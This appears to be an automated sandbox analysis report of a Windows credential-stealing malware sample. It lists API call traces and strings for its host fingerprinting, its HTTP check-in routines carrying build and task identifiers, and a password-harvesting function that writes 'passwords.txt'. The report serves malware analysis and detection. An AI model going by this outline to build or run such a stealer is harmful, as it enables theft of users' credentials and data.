Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003E0420: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003E043C
Part of subcall function 003E0420: GetVolumeInformationA.KERNEL32({k>,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003E0475
Part of subcall function 003E0420: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003E04BF
Part of subcall function 003E0420: HeapAlloc.KERNEL32(00000000), ref: 003E04C6

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,003F3684,00000000,?,00000000,00000000,003F01E9), ref: 003E4728

Part of subcall function 003E1090: OpenProcess.KERNEL32(00000410,00000000,?), ref: 003E10A5
Part of subcall function 003E1090: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 003E10C0
Part of subcall function 003E1090: CloseHandle.KERNEL32(00000000), ref: 003E10C7

Part of subcall function 003E05A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003E05B5
Part of subcall function 003E05A0: HeapAlloc.KERNEL32(00000000), ref: 003E05BC

Part of subcall function 003E0730: CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?,Work Dir: In memory,00000000), ref: 003E0758
Part of subcall function 003E0730: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000), ref: 003E0769
Part of subcall function 003E0730: CoCreateInstance.OLE32(003F49C0,00000000,00000001,003F48F0,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?), ref: 003E0783
Part of subcall function 003E0730: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?), ref: 003E07BC
Part of subcall function 003E0730: VariantInit.OLEAUT32(?), ref: 003E081B

Part of subcall function 003E0900: CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,003F3408,00000000,?,00000000,00000000), ref: 003E0928
Part of subcall function 003E0900: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000), ref: 003E0939
Part of subcall function 003E0900: CoCreateInstance.OLE32(003F49C0,00000000,00000001,003F48F0,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,003F3408,00000000,?), ref: 003E0953
Part of subcall function 003E0900: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?), ref: 003E098C
Part of subcall function 003E0900: VariantInit.OLEAUT32(?), ref: 003E09E3

Part of subcall function 003DFB20: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003E4941,00000000,?,Computer Name: ,00000000,?,003F3408,00000000,?,00000000,00000000), ref: 003DFB2C
Part of subcall function 003DFB20: HeapAlloc.KERNEL32(00000000,?,?,?,003E4941,00000000,?,Computer Name: ,00000000,?,003F3408,00000000,?,00000000,00000000,00000000), ref: 003DFB33
Part of subcall function 003DFB20: GetComputerNameA.KERNEL32(00000000,00000000), ref: 003DFB47

Part of subcall function 003DFAE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003E7612,003F01E9), ref: 003DFAEC
Part of subcall function 003DFAE0: HeapAlloc.KERNEL32(00000000,?,?,?,003E7612,003F01E9), ref: 003DFAF3
Part of subcall function 003DFAE0: GetUserNameA.ADVAPI32(00000000,003F01E9), ref: 003DFB07

Part of subcall function 003E02C0: GetProcessHeap.KERNEL32(00000000,00000104,?,00000030,?,003E4A13,?,00000000,?,Display Resolution: ,00000000,?,003F3408,00000000,?,00000000), ref: 003E0300
Part of subcall function 003E02C0: HeapAlloc.KERNEL32(00000000,?,00000030,?,003E4A13,?,00000000,?,Display Resolution: ,00000000,?,003F3408,00000000,?,00000000,00000000), ref: 003E0307
Part of subcall function 003E02C0: wsprintfA.USER32 ref: 003E0317

Part of subcall function 003DFC30: GetKeyboardLayoutList.USER32(00000000,00000000,003F01E9,00000000,?,00000030), ref: 003DFC4D
Part of subcall function 003DFC30: LocalAlloc.KERNEL32(00000040,00000000,?,00000030), ref: 003DFC5F
Part of subcall function 003DFC30: GetKeyboardLayoutList.USER32(00000000,00000000,?,00000030), ref: 003DFC69
Part of subcall function 003DFC30: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000030), ref: 003DFC93
Part of subcall function 003DFC30: LocalFree.KERNEL32(00000000,?,00000030), ref: 003DFD16

Part of subcall function 003DFBC0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003DFBD1
Part of subcall function 003DFBC0: HeapAlloc.KERNEL32(00000000), ref: 003DFBD8
Part of subcall function 003DFBC0: GetTimeZoneInformation.KERNEL32(?), ref: 003DFBE7
Part of subcall function 003DFBC0: wsprintfA.USER32 ref: 003DFC12

Part of subcall function 003DFD30: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003DFD45
Part of subcall function 003DFD30: HeapAlloc.KERNEL32(00000000), ref: 003DFD4C
Part of subcall function 003DFD30: RegOpenKeyExA.KERNEL32(80000002,031C9FA0,00000000,00020119,00000000), ref: 003DFD6B
Part of subcall function 003DFD30: RegQueryValueExA.KERNEL32(00000000,031D5C90,00000000,00000000,00000000,000000FF), ref: 003DFD86
Part of subcall function 003DFD30: RegCloseKey.ADVAPI32(00000000), ref: 003DFD90

Part of subcall function 003DFDE0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 003DFE02
Part of subcall function 003DFDE0: GetLastError.KERNEL32(?,00000030), ref: 003DFE10
Part of subcall function 003DFDE0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 003DFE48
Part of subcall function 003DFDE0: wsprintfA.USER32 ref: 003DFE92

Part of subcall function 003DFDA0: GetSystemInfo.KERNEL32(00000000), ref: 003DFDAD
Part of subcall function 003DFDA0: wsprintfA.USER32 ref: 003DFDC3

Part of subcall function 003DFED0: GetProcessHeap.KERNEL32(00000000,00000104,?,TimeZone: ,00000000,?,003F3408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,003F3408), ref: 003DFEDE
Part of subcall function 003DFED0: HeapAlloc.KERNEL32(00000000,?,TimeZone: ,00000000,?,003F3408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,003F3408,00000000), ref: 003DFEE5
Part of subcall function 003DFED0: GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040), ref: 003DFF05
Part of subcall function 003DFED0: wsprintfA.USER32 ref: 003DFF2B

Part of subcall function 003E0200: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003E0228
Part of subcall function 003E0200: Process32First.KERNEL32(00000000,00000128), ref: 003E0238
Part of subcall function 003E0200: Process32Next.KERNEL32(00000000,00000128), ref: 003E024A
Part of subcall function 003E0200: Process32Next.KERNEL32(00000000,00000128), ref: 003E029E
Part of subcall function 003E0200: CloseHandle.KERNEL32(00000000), ref: 003E02A9

Part of subcall function 003DFFC0: RegOpenKeyExA.KERNEL32(00000000,031CB7E0,00000000,00020019,00000000,003F01E9), ref: 003E0009

Part of subcall function 003DFFC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003E0052
Part of subcall function 003DFFC0: wsprintfA.USER32 ref: 003E007C
Part of subcall function 003DFFC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 003E009A
Part of subcall function 003DFFC0: RegQueryValueExA.KERNEL32(00000000,031D5278,00000000,000F003F,?,00000400), ref: 003E00CA
Part of subcall function 003DFFC0: lstrlenA.KERNEL32(?), ref: 003E00DF
Part of subcall function 003DFFC0: RegQueryValueExA.KERNEL32(00000000,031D5470,00000000,000F003F,?,00000400,00000000,?,?,00000000,80000002,003F3408), ref: 003E0156

lstrlenA.KERNEL32(00000000,00000000,?,003F3684,00000000,?,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003E4F07

Part of subcall function 003E42A0: Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
Part of subcall function 003E42A0: CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
Part of subcall function 003E42A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

Strings

[Hardware], xrefs: 003E4BA2
Display Resolution: , xrefs: 003E49E8
User Name: , xrefs: 003E4981
Path: , xrefs: 003E4706
Date: , xrefs: 003E454C
TimeZone: , xrefs: 003E4B3B
Computer Name: , xrefs: 003E491A
Local Time: , xrefs: 003E4AD4
Install Date: , xrefs: 003E482E
Processor: , xrefs: 003E4BC4
information.txt, xrefs: 003E4F1C
RAM: , xrefs: 003E4CF9
HWID: , xrefs: 003E4690
GUID: , xrefs: 003E461A
Version: , xrefs: 003E44C3
AV: , xrefs: 003E48A4
[Software], xrefs: 003E4E4C
VideoCard: , xrefs: 003E4D60
Threads: , xrefs: 003E4C92
Cores: , xrefs: 003E4C2B
Windows: , xrefs: 003E47C7
[Processes], xrefs: 003E4DD6
Keyboard Languages: , xrefs: 003E4A5E
MachineID: , xrefs: 003E45B3
Work Dir: In memory, xrefs: 003E4783

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Open$CloseCreateInformationInitializeQueryValuelstrcpy$LocalNameProcess32lstrlen$BlanketCurrentHandleInfoInitInstanceKeyboardLayoutListLogicalNextProcessorProxySecurityTimeVariantlstrcat$CharComputerDirectoryEnumErrorFileFirstFreeGlobalLastLocaleMemoryModuleObjectProfileSingleSleepSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 2672074340-1014693891
Opcode ID: 5003bf43d6c1e4e2e5170efa7dbaf56cca185450d9e83f07e668867d9cd7a9ee
Instruction ID: e6efbebfa772a1b79cb61d0a5e8223fe9ebe0b0624a9131a147b1bda39c216d3
Opcode Fuzzy Hash: 5003bf43d6c1e4e2e5170efa7dbaf56cca185450d9e83f07e668867d9cd7a9ee
Instruction Fuzzy Hash: B7621177C101486EDB06F7A0E9E2DEEB378AE14300B64427AF113761A1EF717B09D665

Function 003D5220 Relevance: 48.0, APIs: 21, Strings: 6, Instructions: 753
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D52AC
StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000000), ref: 003D52C7
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D540D
HttpOpenRequestA.WININET(00000000,031D0838,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D5449
lstrlenA.KERNEL32(00000000,00000000,003E38CC,?,00000000,003E38CC,",00000000,003E38CC,status,00000000,003E38CC,031C9960,00000000,003E38CC,003F3358), ref: 003D59B3
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 003D59C4
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 003D59CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 003D59D6
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 003D59E7
memcpy.MSVCRT ref: 003D59F8
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 003D5A09
lstrlenA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 003D5A22
memcpy.MSVCRT ref: 003D5A2B
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 003D5A3E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003D5A4F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 003D5A66
InternetReadFile.WININET(00000000,00000000,000000C7,?), ref: 003D5AB5
InternetCloseHandle.WININET(00000000), ref: 003D5AC0
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D546D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

InternetCloseHandle.WININET(00000000), ref: 003D5ACA
InternetCloseHandle.WININET(00000000), ref: 003D5AD7

Strings

mode, xrefs: 003D571F
task_id, xrefs: 003D582F
status, xrefs: 003D5942
", xrefs: 003D5520, 003D5630, 003D5741, 003D5851, 003D5964
build_id, xrefs: 003D560E
------, xrefs: 003D5332, 003D5473, 003D5585, 003D5697, 003D57A6, 003D58B9

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$lstrlen$lstrcpy$CloseHandle$FileHeapHttpOpenReadRequestlstrcatmemcpy$AllocConnectCrackOptionProcessSend
String ID: "$------$build_id$mode$status$task_id
API String ID: 530647464-4141295817
Opcode ID: 269dcc101913618e9a96cf2dc5c22f55a2879fbb94c5c0ea6b6a51ed15f0a465
Instruction ID: edf7815ced74562ef93ca52246226e1012626ac9c0d9c34b02e43a39b8d178d4
Opcode Fuzzy Hash: 269dcc101913618e9a96cf2dc5c22f55a2879fbb94c5c0ea6b6a51ed15f0a465
Instruction Fuzzy Hash: 9552D277D10149AEDB06EBA0ECD2EFE7778AF14300F58417AB1136A291DF306A09DB65

Function 003D5BB0 Relevance: 44.3, APIs: 21, Strings: 4, Instructions: 584
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D5C3C
StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000030), ref: 003D5C57
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D5D9D
HttpOpenRequestA.WININET(00000000,031D0838,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D5DD9
lstrlenA.KERNEL32(00000000,00000000,003E6BDF,?,00000000,003E6BDF,",00000000,003E6BDF,mode,00000000,003E6BDF,031C9960,00000000,003E6BDF,003F3358), ref: 003D611D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D612E
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D6139
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D6140
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D6151
memcpy.MSVCRT ref: 003D6162
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000030), ref: 003D6173
lstrlenA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000030), ref: 003D618C
memcpy.MSVCRT ref: 003D6195
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 003D61A8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003D61B9
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 003D61D0
InternetReadFile.WININET(00000000,00000000,000000C7,?), ref: 003D6225
InternetCloseHandle.WININET(00000000), ref: 003D6230
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D5DFD

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

InternetCloseHandle.WININET(00000000), ref: 003D623A
InternetCloseHandle.WININET(00000000), ref: 003D6247

Strings

mode, xrefs: 003D60AF
", xrefs: 003D5EB0, 003D5FC0, 003D60D1
build_id, xrefs: 003D5F9E
------, xrefs: 003D5CC2, 003D5E03, 003D5F15, 003D6027

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$lstrlen$lstrcpy$CloseHandle$FileHeapHttpOpenReadRequestlstrcatmemcpy$AllocConnectCrackOptionProcessSend
String ID: "$------$build_id$mode
API String ID: 530647464-3829489455
Opcode ID: 1ed1249ea07d7c42ad5bd02365d2dfa7189f6d382e295c03ca80ca1eeb958a9f
Instruction ID: 03adff9cd9e1fbc6d390b28d0a92bb6f8710fb05279ebbafb74fa29d58ea62f0
Opcode Fuzzy Hash: 1ed1249ea07d7c42ad5bd02365d2dfa7189f6d382e295c03ca80ca1eeb958a9f
Instruction Fuzzy Hash: 5922F177D10149AEDB06EBA0ECD2EEE7778AF14700F58417AF1036A291DF306A09DB65

Function 003DBF30 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 286
stringfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003E0B80: GetSystemTime.KERNEL32(003F01E9,031D69A0,003F01E9,?,00000030,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003E0BA9

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DBFD7
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DC00B
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 003DC069
RtlAllocateHeap.NTDLL(00000000), ref: 003DC070
lstrlenA.KERNEL32(00000000,00000000), ref: 003DC10C
lstrcatA.KERNEL32(00000000,031D08D8), ref: 003DC123
lstrcatA.KERNEL32(00000000,00000000), ref: 003DC133
lstrcatA.KERNEL32(00000000,003F34BC), ref: 003DC13F
lstrcatA.KERNEL32(00000000,00000000), ref: 003DC14F

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E10F0: memset.MSVCRT ref: 003E110A
Part of subcall function 003E10F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,003D9753,003D9C77), ref: 003E113D
Part of subcall function 003E10F0: HeapAlloc.KERNEL32(00000000,?,003D9753,003D9C77), ref: 003E1144
Part of subcall function 003E10F0: wsprintfW.USER32 ref: 003E1153
Part of subcall function 003E10F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 003E11BB
Part of subcall function 003E10F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 003E11CA
Part of subcall function 003E10F0: CloseHandle.KERNEL32(00000000,?,?), ref: 003E11D1

lstrcatA.KERNEL32(00000000,003F34B8), ref: 003DC15B
lstrcatA.KERNEL32(00000000,031D09F8), ref: 003DC169
lstrcatA.KERNEL32(00000000,00000000), ref: 003DC179
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DC185
lstrcatA.KERNEL32(00000000,031D0928), ref: 003DC192
lstrcatA.KERNEL32(00000000,00000000), ref: 003DC1A2
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DC1AE
lstrcatA.KERNEL32(00000000,031D5488), ref: 003DC1BC
lstrcatA.KERNEL32(00000000,00000000), ref: 003DC1CC
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DC1D8
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DC1E4
lstrlenA.KERNEL32(00000000), ref: 003DC211
DeleteFileA.KERNEL32(00000000), ref: 003DC275

Strings

passwords.txt, xrefs: 003DC21E

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

